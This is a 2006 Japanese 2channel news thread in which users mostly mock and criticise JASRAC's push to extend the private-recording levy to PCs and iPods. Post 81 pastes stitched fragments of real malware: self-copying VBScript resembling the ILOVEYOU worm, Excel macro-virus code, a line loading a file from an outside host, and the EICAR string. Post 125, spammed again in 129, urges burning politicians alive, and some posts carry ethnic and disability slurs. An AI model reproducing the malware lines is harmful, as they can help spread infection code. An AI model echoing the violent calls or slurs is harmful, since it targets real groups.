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【社会】 「iPodだけじゃなく、パソコンも対象に」 JASRAC、補償金制度で★3

1 :☆ばぐた☆ ◆JSGFLSFOXQ @☆ばぐ太☆φ ★:2006/05/19(金) 19:35:42 ID:???0
★パソコンも私的録音補償金の対象に

・JASRACは,2005年11月に文化審議会が,ハード・ディスク装置(HDD)を内蔵する
 携帯型音楽プレーヤを私的録音補償金の対象機器に指定することを見送った件で
 2006年2月,「大きな問題を残した。当協会としてはこれら機器を私的録音補償金の
 対象とすべきと考えており,今後も引き続きその対応を求める」との意見を表明していた。

 報告会でもあらためてこれに触れて,「iPodだけでなくパソコンも含め,私的録音への
 対応を考えたい。パソコンはオーディオ専門機ではないが,音楽配信サービスの
 利用実態に着目して補償金の対象としたい」(常務理事の泉川昇樹氏)とした。
 JASRACでは2006年4月より検討を開始しているという。(抜粋)
 http://techon.nikkeibp.co.jp/article/NEWS/20060517/117177/

※関連スレ
・【経済】日本音楽著作権協会(JASRAC) 2005年度の使用料徴収額は1135億円 前年度比で2.5%増加[05/18]
 http://news19.2ch.net/test/read.cgi/newsplus/1147887726/
・【社会】"HDDも対象?" JASRAC、iPod等も補償金制度の対象にすることを求める…事業報告で
 http://news19.2ch.net/test/read.cgi/newsplus/1116413497/
※前:http://news19.2ch.net/test/read.cgi/newsplus/1147962765/

2 :名無しさん@6周年:2006/05/19(金) 19:35:54 ID:3Rww5yA90
222222222

3 :名無しさん@6周年:2006/05/19(金) 19:35:57 ID:JR6Fpima0
2

4 :名無しさん@6周年:2006/05/19(金) 19:36:34 ID:eU3+K7kk0
>>4-1000ならJASRAC諸共補償金制度廃止

5 :名無しさん@6周年:2006/05/19(金) 19:36:41 ID:LHF4oeVV0
俺の肛門も課金されそうです

6 :名無しさん@6周年:2006/05/19(金) 19:39:28 ID:Q/ofjxec0
>4
GJ

7 :名無しさん@6周年:2006/05/19(金) 19:39:35 ID:K5lYiMBJ0
>>1

勝手なことをぬかすな。俺はそんな事に使ってないぞ。

使ってる奴だけ、自分たちで訪問して徴収しろよ。

8 :名無しさん@6周年:2006/05/19(金) 19:39:45 ID:+J6N0McY0
(*)

9 :名無しさん@6周年:2006/05/19(金) 19:43:02 ID:iKaT7bIp0
銀賞はケツメイシの「さくら」

は?w
これってパクリを認めたってこと?w
カスラックwwwwwww

10 :名無しさん@6周年:2006/05/19(金) 19:44:07 ID:6YUs23q50
そのうち脳も私的録音補償金の対象機器にされそうだ


11 :名無しさん@6周年:2006/05/19(金) 19:45:36 ID:0SPbNlN/0
どういうこと?
パソコン買ったらJASRACに金が入るって事?
その分、購入者が負担するって事?

そんな無茶な

12 :名無しさん@6周年:2006/05/19(金) 19:46:31 ID:t9PD16I9O
どう考えても音楽配信サービスに無縁なPCの方が多いと思うんだが…

13 :名無しさん@6周年:2006/05/19(金) 19:47:56 ID:bkW2zha70
PCで音楽なんて聴かないし、DLもしない。
車で、しかもクラッシック系しか聴かない。
そんなに課金したければ、一軒一軒PCもHDDチェックして回れよ。
このクソが。

14 :名無しさん@6周年:2006/05/19(金) 19:50:22 ID:LwzRRDSa0
勝手なことを

15 :名無しさん@6周年:2006/05/19(金) 19:51:50 ID:g1KJ1zq30
つーか、録音する機械に課金するんじゃなくて、元ソース、
つまりCDやダウンロードさせる元データに課金したら万事解決じゃないの?
最初はオリジナルからコピーされる訳だし。
パソコンの販売台数や音楽ハードの販売台数を参考にしてさ。


16 :名無しさん@6周年:2006/05/19(金) 19:52:04 ID:Xz8W2uiU0
               ,,--──--,,,.
             ,.-''´        \
  ______. /            ヽ、
  | ____ /           :::::::::::::::\
  | |       /            :::::::::::::::|
  | |      | /\    /\   :::::::::::::::|    ・・・国民なめると痛い目あうお
  | |      | , , ,          :::::::::::::::|
  | |       |   (__人__丿"""..::::::::::::::::::/
  | |____ ヽ       .....:::::::::::::::::::::::<
  └___/ ̄ ̄       :::::::::::::::::::::::::|
  |\    |            :::::::::::::::::::::::|
  \ \  \___       ::::::::::::::::::::::::|

17 :名無しさん@6周年:2006/05/19(金) 19:55:55 ID:YfIgzFGU0
音楽は無からうまれるわけではない。
自然や人間のいろいろな営みに刺激を受けてできるものだ。
カスラックは、まずそれらに対して金を払え。話はそれからだ。

18 :名無しさん@6周年:2006/05/19(金) 19:56:57 ID:TO5vDsnY0
ダウンロードサービスとやらで既に課金してるんだろ?それはそもそもPCや携帯音楽端末使用目的前提のサービスだろ?
二重課金じゃん明らかに。


19 :名無しさん@6周年:2006/05/19(金) 19:57:39 ID:M8k3TZcC0
このスレは伸びろ

20 :名無しさん@6周年:2006/05/19(金) 19:57:51 ID:WW4SGw5C0
MDや音楽用CDRで集めたお金はどこに消えてるんですか?

21 :名無しさん@6周年:2006/05/19(金) 19:57:52 ID:/z5+buDT0
まずはカスラックへの天下り1人につき1兆円ほど課金しろ

22 :名無しさん@6周年:2006/05/19(金) 19:58:44 ID:hRXsLrRA0
http://mbspro10.uic.to/user/1013.html

23 :名無しさん@6周年:2006/05/19(金) 19:59:51 ID:bP66uvdg0
しばらくの間、日本国民全員がJASRAC管轄の楽曲を使用しなければ潰せるんじゃね?


24 :名無しさん@6周年:2006/05/19(金) 20:01:11 ID:daCewYmd0
JASRACに電凸キボン

25 :名無しさん@6周年:2006/05/19(金) 20:02:22 ID:SDtbGwym0
誰にいくら分配してるか公開汁

どこに消えてってるんだよ

26 :名無しさん@6周年:2006/05/19(金) 20:04:15 ID:GAAs4lGZ0
パソコンの値段に著作権料が漏れなく上乗せされるっつーことですかい?

27 :名無しさん@6周年:2006/05/19(金) 20:04:47 ID:xi3XhaVR0


耳のきこえない俺(俺達)からも徴るの?




28 :名無しさん@6周年:2006/05/19(金) 20:10:22 ID:kpgFJD700
団体がひとつじゃ競争もないし、
ここは参入障壁を撤廃して・・・


誰か立ち上げないかな〜新団体。

29 :名無しさん@6周年:2006/05/19(金) 20:14:42 ID:DaZi5bVw0
著作権管理団体自体が複数ある状態で、なぜ"JASRAC"だけが課金、徴収して私腹を肥やすんだよ?

HDDやPCに補償金を追加した時点で、CD買う事はいっさい止める。
人に借りる、なぜか自然に降ってくるのを待つ事にする…

30 :名無しさん@6周年:2006/05/19(金) 20:15:07 ID:JJ2xpjPYO
か す ら っ く っ て か ん ち が い し す ぎ じ ゃ ね ?

31 :名無しさん@6周年:2006/05/19(金) 20:16:54 ID:kepoKxg/0
これじゃ著作権ゴロと言われてもしょうがねえな

32 :名無しさん@6周年:2006/05/19(金) 20:17:14 ID:5g+X66DS0
ここまでくると、もはやあきれるしかないなこいつら

二重取り三重取り平気でやっていることに気が付いているのだろうか 救いがたい
著作権ゴロだな。

33 :名無しさん@6周年:2006/05/19(金) 20:21:11 ID:3R7tFmFU0
■■■■■■■■■■■■■■■■■■■■

もっと建設的な話をしようじゃないか。

なぜ、カスラックが平気な顔をしていられるのか

それは、・・・・・・・・・・・・・・・・・・・だからなんだよ


■■■■■■■■■■■■■■■■■■■■

34 :ピラニア突撃隊:2006/05/19(金) 20:23:00 ID:sN5IIZu90
ハア?

35 :名無しさん@6周年:2006/05/19(金) 20:23:21 ID:fCC460Rs0
どうせ音楽用HDとDATA用別にしろw

36 :名無しさん@6周年:2006/05/19(金) 20:25:45 ID:D/dCkkxU0
ゴミ団体の分際で・・・。いい加減にしろ。

37 :名無しさん@6周年:2006/05/19(金) 20:27:05 ID:bP66uvdg0
そのうち誰もJASRAC管轄の曲を使わなくなったらさ、金が入らないもんだから
とち狂って屁の音にまで金払えとか言い出すんじゃね?( ゚д゚) 、ペッ

38 :名無しさん@6周年:2006/05/19(金) 20:28:41 ID:992sHQ/H0
JASRACの闇を暴け!

39 :名無しさん@6周年:2006/05/19(金) 20:29:51 ID:fG2dUj+z0
この団体に共謀罪適用してくれ。

40 :名無しさん@6周年:2006/05/19(金) 20:30:20 ID:lCZa71C70
カスラック氏ね

41 :名無しさん@6周年:2006/05/19(金) 20:32:02 ID:xujoupQ50
NHKといいカスラックといいどういう頭してたらこういうこと考えられるんだ

42 :名無しさん@6周年:2006/05/19(金) 20:34:58 ID:PzyuCRK20
カスラックは非国民団体。朝鮮人か?

43 :名無しさん@6周年:2006/05/19(金) 20:35:31 ID:sOJYqa38O
>>37
うちの親父は屁で「はとぽっぽ」演奏できるからヤバいな。

44 :名無しさん@6周年:2006/05/19(金) 20:36:36 ID:hbxaLN9HO
カスラックを分析するチーム、消滅させるチームに別れるとか。

45 :名無しさん@6周年:2006/05/19(金) 20:36:51 ID:fhmfaI+pO
次はネットのインフラ事業者か

46 :名無しさん@6周年:2006/05/19(金) 20:38:13 ID:PzyuCRK20
http://ja.wikipedia.org/wiki/JASRAC

47 :名無しさん@6周年:2006/05/19(金) 20:39:31 ID:DMNLUVIt0
おいおい、音楽なんて全然聴かないのに、課金??????????
マジで何考えてんの???????
んじゃ、紙は小説をコピー出来るから、作られた紙には全て小説の著作権料を
払うのかよ。そんぐらい意味不明だよ。何考えてんだ??

48 :名無しさん@6周年:2006/05/19(金) 20:44:04 ID:5g+X66DS0
>>47
最終的には、ありとあらゆるものに著作権料ふっかけて、金を根こそぎとるつもりなんだろ。



49 :名無しさん@6周年:2006/05/19(金) 20:48:31 ID:cmFwHwEKO
そのうち「耳」に保証金かけるとか言い出しかねんな。

50 :名無しさん@6周年:2006/05/19(金) 20:51:49 ID:bP66uvdg0
もうね、JASRACが崩壊した世紀末の世界でジジイから種モミを奪い取るモヒカン野郎に見えてきたよ

51 :名無しさん@6周年:2006/05/19(金) 20:52:18 ID:YkkaZo0X0
俺も、音楽なんか全然聴かねーし、iPODは英語の勉強に使ってるだけなのに!
それでも、金をとるの??



52 :名無しさん@6周年:2006/05/19(金) 20:53:45 ID:XDgdF/uB0
ダンボールも叩くと音が鳴るので
演奏装置です カスラックに
利用料金を払ってくださいw

53 : :2006/05/19(金) 20:55:28 ID:SLXLHBFB0
JASRACの平均年収って1000万円超えているとか。
年収維持のために必死ってわけね。
そりゃ、事務員からロクに働かない天下りまで、1000万円以上
渡せば、いちゃもんつけて金取らないと組織が成り立たないな。

54 :名無しさん@6周年:2006/05/19(金) 20:58:24 ID:KYHQV4je0
音楽も聴けないこんな世の中じゃ

55 :名無しさん@6周年:2006/05/19(金) 21:02:26 ID:aFeBY5+ZO
ダウンロードで取ってるくせにまだ取る気かよ。

56 :名無しさん@6周年:2006/05/19(金) 21:03:53 ID:dzoviit/0
カネの亡者JASRAC

57 :名無しさん@6周年:2006/05/19(金) 21:08:53 ID:zlExyYKy0
PC来たら、次は電子レンジだな。
「電子レンジの調理完了音が著作権保護が必要な音楽にである可能性も無いとはいえない。」

その次は、洗濯機
「洗濯機の作動音も、著作権を保護しなきゃならない音楽みたいなものだ、理由?JASRACがそう思ったからだ。」

・・・

「この世に存在する物体は、何でも著作権を保護しなきゃならない音楽みたいなものだ、理由?JASRACがそう思ったからだ。」

となっていく訳だなw

58 :名無しさん@6周年:2006/05/19(金) 21:15:31 ID:DwlTA0tF0
とりあえずPCの値段に著作権料とかいう、ワケワカメな料金が上乗せされるってこと?
結局それがいくらぐらいかなんだが、1000~2000円程度なら払うよ。5000以上ならカステラック

59 :名無しさん@6周年:2006/05/19(金) 21:17:18 ID:E1PNvIe20
2重課金じゃん!

60 :名無しさん@6周年:2006/05/19(金) 21:20:54 ID:x/bVMHnb0
これで心置きなくwinnyでダウンロードできる。
だって、PC買うときすでに課金してるんでしょ?

61 :名無しさん@6周年:2006/05/19(金) 21:23:08 ID:zlExyYKy0
>>60
オマイサンって奴は・・・










天才?

62 : :2006/05/19(金) 21:23:44 ID:SLXLHBFB0
JASRACも法によるピンハネをするのだから、JASRAC自体の経理も一般
上場企業以上の情報開示が必要だな。その上、生産性についても、
地方自治体以上の開示が必要でしょう。また民間から監査を受けて、
その監査した民間は、ごまかしなどがばれたら、厳しい罰則規定を
設けると。その上、役員の罷免も一般国民が関与できるようにすれば、
ある程度は納得できるかも。

63 :名無しさん@6周年:2006/05/19(金) 21:26:32 ID:kWs0Oe2+0
音楽文化の保全のために著作権法を守りましょう。
書いてみて虚しいわ。

【裁判】 "著作権法違反" 飲食店で生演奏、著作権料不払いのライブハウス元経営者に有罪判決
http://news19.2ch.net/test/read.cgi/newsplus/1148021078/

64 :名無しさん@6周年:2006/05/19(金) 21:26:59 ID:TNEjnXij0
建設的に考えよう
どうすればJASRACに致命傷を負わせることが出来るか
まず天下りぼったくり退職金の連中を横領と背任で訴えよう

65 :名無しさん@6周年:2006/05/19(金) 21:27:46 ID:+fLlESi6O
音楽を食い物にしてんのはJasracなんだな。
ひでえ組織。抗議の署名とかしてるとこないの?

66 :名無しさん@6周年:2006/05/19(金) 21:28:52 ID:3kFgj7qe0
またでしゃばりだしたか、銭ゲバ集団JASRAC


67 :名無しさん@6周年:2006/05/19(金) 21:31:21 ID:m+2qTr3c0
コピー機も歌詞カードの複製に使われるから課金しよう。w

68 :名無しさん@6周年:2006/05/19(金) 21:32:35 ID:kWs0Oe2+0
>>65
署名で探してみたら、時系列でわりとよくまとまってるサイト見つけた。
http://jam.velvet.jp/copyright.html

署名をやってるところも見つけた。もう一段落したところのようではあるが。
http://www4.ocn.ne.jp/~swan/

69 :名無しさん@6周年:2006/05/19(金) 21:34:49 ID:CEl7TMhz0
PCが普及してるんだから、音楽を流通に乗せるのを再考してもいいだろ
音楽発信者だって、楽器とPCがありゃ録音やCD製作もそれなりにできる時代だしよー

70 :名無しさん@6周年:2006/05/19(金) 21:34:54 ID:JpA4VS8h0
そのHDDを動かすマザボとCPUとメモリにも課金しよう。
音楽を転送する回線とルーターにも。無論、電気も。
空気を振動させて音を出すんだから空気にもね。
おまいら、明日から息するたびに一円払え。

71 :名無しさん@6周年:2006/05/19(金) 21:35:00 ID:Lqvmxnr60
こいつらの理屈でいくと、

  銀行に口座開いたら、所得が振り込まれる可能性があるから、

  口座開設した時点で、所得税を払え   ・・・  みたいな話か?


72 :名無しさん@6周年:2006/05/19(金) 21:37:07 ID:qbUB59Io0
また著作権ゴロか!!

73 :名無しさん@6周年:2006/05/19(金) 21:38:48 ID:LmW31NOy0
結局こいつらの最終目的は音を理解できる脳みそ一個ごとに毎年金を徴収する
実質的な人頭税の導入だな。

74 :名無しさん@6周年:2006/05/19(金) 21:42:41 ID:kWs0Oe2+0
>>71
著作権ゴロ第一法則:知的財産は特殊であり、物的財産にまつわる理論は適用できない

75 :名無しさん@6周年:2006/05/19(金) 21:51:02 ID:zG7oUk3W0

    |    /|   / ̄ヽ  | ̄ヽ    /|  /  ̄/       /  
    |   / |   ヽ_    |_ノ   / |     / ―― / /  
    |  /_ |      \. ..|\   /_|  _/    _/ /_/
 ヽ_ノ /   |   ヽ_/  ..|  し /  |  
  

         /\___/ヽ
   +   / ''''''   ''''''::::\
       . | ,($),   、($)、| +
     +  |   ,,ノ(、_, )ヽ、,, .::|    
   +    |   `-=ニ=- ' .::::::| +
        \.   `ニニ´  .::::/     +
.       | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
       .|                   |
   ,. -‐ '|    JASRACの者ですが    .|
  / :::::::::::|                    |__
  / :::::::::::::|.                    rニ-─`、
. / : :::::::::::::|    使用料をお納め下さい `┬─‐ .j
〈:::::::::,-─┴-、                   |二ニ イ
. | ::/ .-─┬⊃                     |`iー"|
.レ ヘ.  .ニニ|_____________.|rー''"|
〈 :::::\_ノ::::::::::::::::::::::::::::::::::::::::::::::::::::::: |:::::::: /::::::::::::|

76 :名無しさん@6周年:2006/05/19(金) 21:55:52 ID:BwKvc4iH0
>>75
うはっwww
ワロスwww

77 :名無しさん@6周年:2006/05/19(金) 21:56:45 ID:xw9DknvS0
JASRACは、俺の鼓膜をくだらない雑音で振動させたので鼓膜使用料を払え。

78 :名無しさん@6周年:2006/05/19(金) 22:19:19 ID:1E0c0GAx0
HDDの容量で課金。
1MB1円。
250GBのHDDは、25万以上。

サーバマシンやネットワークHDDは複数のクライアントから
共有される可能性があるので5倍の値段とする。


79 :名無しさん@6周年:2006/05/19(金) 22:31:42 ID:XiQfQKpo0
利権にたかる蝿だな

80 :名無しさん@6周年:2006/05/19(金) 22:42:44 ID:hHasH2+00
配信サービスが増えたから課金って
配信サービスの時とPCとで二重で金を取るつもりですか?
信じられねー、いや自分の曲も演奏させてくれないカスラックならあり得るかwwwwww
カスラックは消え失せろ!

81 :名無しさん@6周年:2006/05/19(金) 22:51:47 ID:kxBPbf/S0
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ܷܵܶ

82 :名無しさん@6周年:2006/05/19(金) 23:18:11 ID:mux5dXun0
なんでウィルスコード貼られてるん?

83 :名無しさん@6周年:2006/05/19(金) 23:21:50 ID:fqgerbN10
カスの抵抗だろ


84 :名無しさん@6周年:2006/05/19(金) 23:22:56 ID:H2GP2MWn0
あっちこっちにウイルスコード貼られてるな。
何がしたいんだか。

85 :名無しさん@6周年:2006/05/19(金) 23:28:21 ID:maDXe/8H0
俺の開発用PCや業務用サーバも課金ですかそうですか。


86 :名無しさん@6周年:2006/05/19(金) 23:28:24 ID:7edU/JroO
CD買ってのHDに入れて携帯プレーヤーで聞いたら何重に取られるのよ

87 :名無しさん@6周年:2006/05/19(金) 23:29:23 ID:Zw7Vdgaz0
国民馬鹿にしてるのか?

88 :名無しさん@6周年:2006/05/19(金) 23:31:25 ID:O7TBgJPN0
>>23
nhkfmで流れたairの曲は、JASRAC管轄じゃないらすいね。

89 :名無しさん@6周年:2006/05/19(金) 23:32:07 ID:SVZAAfaO0
音楽の提供形態が急速に変わっているにもかかわらず
著作権をそのまま行使しようとする時点で無理がある

90 :名無しさん@6周年:2006/05/19(金) 23:32:52 ID:hkY1d1WA0
音楽入れてないPCには返金しろよ

91 :名無しさん@6周年:2006/05/19(金) 23:39:31 ID:NG6DixjIO
パパ明日も電凸だね

92 :名無しさん@6周年:2006/05/19(金) 23:44:46 ID:nPJIO+fF0
JASRAC がこういう自分勝手な主張をするのは
なんら不思議なことではない. そのためにのみ存在する団体なのだから.
問題なのは, JASRAC の主張が実行力をもって
我々から金を吸い上げる. そのシステムの方であり
その実行力の源である.

93 :名無しさん@6周年:2006/05/19(金) 23:49:13 ID:DTrDtzPT0
こういう強欲な連中ってのはいずれ天誅が下ると思う

94 :名無しさん@6周年:2006/05/19(金) 23:53:27 ID:EOY31/ikO
>>89
もうちょっと詳しく。

95 :名無しさん@6周年:2006/05/19(金) 23:58:44 ID:VyjHbq6m0
カスラックはホントバカだよな!
種を植えないと実はならないのに、植える種を食っているんだから仕方がない


【経済】音楽ソフト生産7年ぶり増 「ネット配信がCDに相乗効果」日本レコード協会
http://news19.2ch.net/test/read.cgi/newsplus/1145373517/


96 :名無しさん@6周年:2006/05/20(土) 00:05:03 ID:uqRPqOlb0
ウイルスコードが貼られているスレ=伸びると都合の悪いスレ?

97 :名無しさん@6周年:2006/05/20(土) 00:10:10 ID:4IASCE3w0
>JASRAC 2005年度の使用料徴収額は1135億円

儲け杉。

98 :名無しさん@6周年:2006/05/20(土) 00:14:29 ID:8fXmf6lP0
>>27
ツンボはパソコン使うな!っていうことが言いたいのだろう。JASRACは。

99 :名無しさん@6周年:2006/05/20(土) 00:18:52 ID:nifNJI8q0
1台につき500円くらいだろ?
充分元取れるよ
絶対CDなんか買わないからなw

100 :名無しさん@6周年:2006/05/20(土) 00:20:17 ID:UoKLa17v0
おなら演奏に課金されるなら
花や草で演奏できる人もいるし草花にも課金だな!

101 :名無しさん@6周年:2006/05/20(土) 00:22:13 ID:nZlWtCRs0
ギャハハハハハwwww
二重取りwwwwww
頭おかしいWWWWWWWWWWW

102 :名無しさん@6周年:2006/05/20(土) 00:24:04 ID:n2Ta8EIh0
意味がわからない
JASRACの奴らは頭がおかしい

103 :名無しさん@6周年:2006/05/20(土) 00:25:20 ID:CoaB/GQY0
ttp://blog.drecom.jp/ecolin_profile/archive/435

なるほど なるほど

104 :名無しさん@6周年:2006/05/20(土) 00:27:03 ID:pZhCDkmL0
声がいい人、歌がうまい人すべてに課金!
挙句の果ては、出産時に声が出る子すべてに課金!

105 :名無しさん@6周年:2006/05/20(土) 00:27:23 ID:nZlWtCRs0
金だけ強引に徴収して、財務内容は非公開なんて
まかり通るわけが無い


106 :名無しさん@6周年:2006/05/20(土) 00:27:48 ID:1RcRa6X30
何とかこのオーディエンスを食い物にしてる
糞団体を潰す方法を考えないか?






なんてことを今後言うと共謀罪になるらしいから今の内に言っておこうっと。

107 :名無しさん@6周年:2006/05/20(土) 00:33:48 ID:CoaB/GQY0
なぜトップに・・・

ttp://www.google.com/search?hl=ja&lr=lang_ja&ie=UTF-8&oe=UTF-8&q=%E8%91%97%E4%BD%9C%E6%A8%A9%E3%82%B4%E3%83%AD&num=50

108 :名無しさん@6周年:2006/05/20(土) 00:34:57 ID:R0x/UmFi0
CASRACは,2005年11月に審議会が,脳を内蔵する人間を私的録音補償金の
対象機器に指定することを見送った件で2006年2月,「大きな問題を残した。当協会
としてはこれらの器官を私的録音補償金の対象とすべきと考えており,今後も引き続き
その対応を求める」との意見を表明していた。

報告会でもあらためてこれに触れて,「iPodだけでなくパソコンも含め,私的記憶への
対応を考えたい。脳はオーディオ専門機ではないが,鼻歌や脳内再生の利用実態に
着目して補償金の対象としたい」とした。
 CASRACでは2006年4月より検討を開始しているという。(抜粋)


109 :名無しさん@6周年:2006/05/20(土) 00:37:26 ID:CoaB/GQY0
ついでに

ttp://d.hatena.ne.jp/hachiya/20050813


110 :名無しさん@6周年:2006/05/20(土) 00:41:56 ID:3JuPusCn0
カスラック氏ね


111 :名無しさん@6周年:2006/05/20(土) 00:44:24 ID:CoaB/GQY0
最後

ttp://d.hatena.ne.jp/keyword/JASRAC

ttp://ja.wikipedia.org/wiki/JASRAC


112 :名無しさん@6周年:2006/05/20(土) 01:33:20 ID:ukz74Us60
日本音楽著作権協会(ジャスラック)
使用料1000億円の巨大利権
音楽を食い物にする呆れた実態
http://Miniurl.org/XwN
http://Miniurl.org/0PS

JASRAC、パソコンも私的録音補償金の対象に
http://Miniurl.org/0FP

    ↑
フィルタリングされているっぽいのでURLは短縮した
http://image.blog.ライブドア/dqnplus/imgs/6/3/631fb9a1.jpg
http://image.blog.〃/1/e/1e93d8e9.jpg
http://blog.ライブドナ.jp/dqnplus/archives/657737.html


113 :名無しさん@6周年:2006/05/20(土) 01:35:16 ID:xAk753bN0
聴覚障害者のユーザーのことなんか全く眼中にないんだろうな。

114 :名無しさん@6周年:2006/05/20(土) 01:37:25 ID:jJ3+GT+Z0
なんでこいつら

多重に著作権料取ります

って宣言してんの?

115 :名無しさん@6周年:2006/05/20(土) 01:40:42 ID:3vV+ggH70
>114
脳が可哀相な人たちだから

116 :名無しさん@6周年:2006/05/20(土) 01:47:03 ID:Bc4L9Jc10
>>114
著作権料じゃなくて私的録音補償金、じゃない?

117 :名無しさん@6周年:2006/05/20(土) 01:47:50 ID:PXXvoJKy0
>>108
ワラタ


118 :名無しさん@6周年:2006/05/20(土) 01:48:12 ID:x1icuq8q0
だからさ
JASRAC をいくら叩いても意味が無いの.
何とかして金を取ることを仕事にしている人たちだから.

叩くべきは, JASRAC に実行力を与えている存在だ.
バックマージンがしっかり回っている連中だ.

119 :名無しさん@6周年:2006/05/20(土) 01:49:03 ID:29eFnqH90
もう新生児に一生分の著作権料請求しとけよ

120 :名無しさん@6周年:2006/05/20(土) 01:56:00 ID:84cqiA2X0
>>69
誰の音楽がどのくらい使用されたか、購入されたかということが
明確になるとJASRACも困るので、現在の著作権管理方法、著作権料徴収方法を変えないだろうね。

今は、各アーティストの曲がどのくらい使われたかという実績の詳細が分からないから
ということで、まずはJASRAC理事をやっておられる演歌作曲の大先生が大金をもらい
残りの金をヒットチャート上位の人たちに配っているので。

121 :名無しさん@6周年:2006/05/20(土) 02:22:53 ID:B431VJmZ0
>>120 おおっ! その話は聞いたことがあるぞ。

    実質、かつての大スター(所謂大御所)の年金組織だとか言う話だった。
    結局、こんな補償金制度を導入しても、既に有り余る程金持ってるヤツに追い銭するだけだ。
    決して、生活が成り立たない底辺層の救済に使われるワケではない。

    内田康夫とかが吠えまくってる、文筆業の方の著作権制度の見直しとかも同じ構造だが・・・


122 :名無しさん@6周年:2006/05/20(土) 02:29:41 ID:hj05A6nX0
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123 :名無しさん@6周年:2006/05/20(土) 02:31:58 ID:hj05A6nX0
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124 :名無しさん@6周年:2006/05/20(土) 02:37:56 ID:Nfd5aCRH0
俺も、音楽なんか全然聴かねーし、iPODは英語の勉強に使ってるだけなのに!
それでも、金をとるの??

125 :名無しさん@6周年:2006/05/20(土) 02:39:57 ID:x1icuq8q0
JASRAC に批判を集めるのは奴らの作戦通り. バカがひっかかる.
本当に問題なのは JASRAC に実行力を与えている政治家.
こいつらを一人ひとり火あぶりにすることが最優先事項


126 :名無しさん@6周年:2006/05/20(土) 02:41:32 ID:N2cnTMb30
||  必ずしも音楽に使わないものに課金はどう考えてもおかしい。
||  使うかもしれないから取っておく=使わないかも知れないから払わない
||                  ↓
||  ノノノノ      立場が違うだけで両者は対称で対等な主張。
||  ( ゚∋゚)     対称で対等な主張ができてしまう論理ってのは、
|| /⌒\/ヽ /彡   まず公平かつ公正な制度化は成立しない。
|| | |   |ヽノ
|| | |   |       二重取り反対。音楽や映像ソフトに課金すれば十分だ。
||ミ|\/.|______________________________
  | /| |
  | )//
 彡ヽヽミ

127 :名無しさん@6周年:2006/05/20(土) 02:44:31 ID:hRiNC9Il0
カスラップの職員が1秒でもさぼったりあくびしたりしていないか全員を監視してその映像を公開するべきだと思うの?

128 :惨事に遭いましょう:2006/05/20(土) 02:44:58 ID:0wXiytzH0
iPod課金の前に著作権保護技術の現状を再確認--私的録音録画小委員会

(略) 最後はソニーミュージックエンタテインメント コーポレート・スタッフ・グループの佐藤亘宏氏が
日本レコード協会から依頼を受けた形で「レコード会社から見た音楽のデジタルフォーマットにかかわる
技術動向について」オブザーバーとして発言。これまでの保護技術についての歩みを振り返るとともに、
失敗に終わった保護技術について要因を列挙した。特にパソコンで音楽を扱うことについての対応が
遅れたことをあげ、パッケージ(CDなど)はCCCDに移行、その最新技術動向について説明した。(略)

ttp://japan.cnet.com/news/tech/story/0,2000056025,20115149,00.htm


日本レコード協会から依頼を受けた形で(略)オブザーバーとして発言…
日本レコード協会から依頼を受けた形で(略)オブザーバーとして発言…
日本レコード協会から依頼を受けた形で…



…チョニーはもう要りません!(怒

129 :名無しさん@6周年:2006/05/20(土) 02:46:00 ID:hj05A6nX0
125 名前:名無しさん@6周年[] 投稿日:2006/05/20(土) 02:39:57 ID:x1icuq8q0
JASRAC に批判を集めるのは奴らの作戦通り. バカがひっかかる.
本当に問題なのは JASRAC に実行力を与えている政治家.
こいつらを一人ひとり火あぶりにすることが最優先事項
125 名前:名無しさん@6周年[] 投稿日:2006/05/20(土) 02:39:57 ID:x1icuq8q0
JASRAC に批判を集めるのは奴らの作戦通り. バカがひっかかる.
本当に問題なのは JASRAC に実行力を与えている政治家.
こいつらを一人ひとり火あぶりにすることが最優先事項
125 名前:名無しさん@6周年[] 投稿日:2006/05/20(土) 02:39:57 ID:x1icuq8q0
JASRAC に批判を集めるのは奴らの作戦通り. バカがひっかかる.
本当に問題なのは JASRAC に実行力を与えている政治家.
こいつらを一人ひとり火あぶりにすることが最優先事項
125 名前:名無しさん@6周年[] 投稿日:2006/05/20(土) 02:39:57 ID:x1icuq8q0
JASRAC に批判を集めるのは奴らの作戦通り. バカがひっかかる.
本当に問題なのは JASRAC に実行力を与えている政治家.
こいつらを一人ひとり火あぶりにすることが最優先事項
125 名前:名無しさん@6周年[] 投稿日:2006/05/20(土) 02:39:57 ID:x1icuq8q0
JASRAC に批判を集めるのは奴らの作戦通り. バカがひっかかる.
本当に問題なのは JASRAC に実行力を与えている政治家.
こいつらを一人ひとり火あぶりにすることが最優先事項
125 名前:名無しさん@6周年[] 投稿日:2006/05/20(土) 02:39:57 ID:x1icuq8q0
JASRAC に批判を集めるのは奴らの作戦通り. バカがひっかかる.
本当に問題なのは JASRAC に実行力を与えている政治家.
こいつらを一人ひとり火あぶりにすることが最優先事項
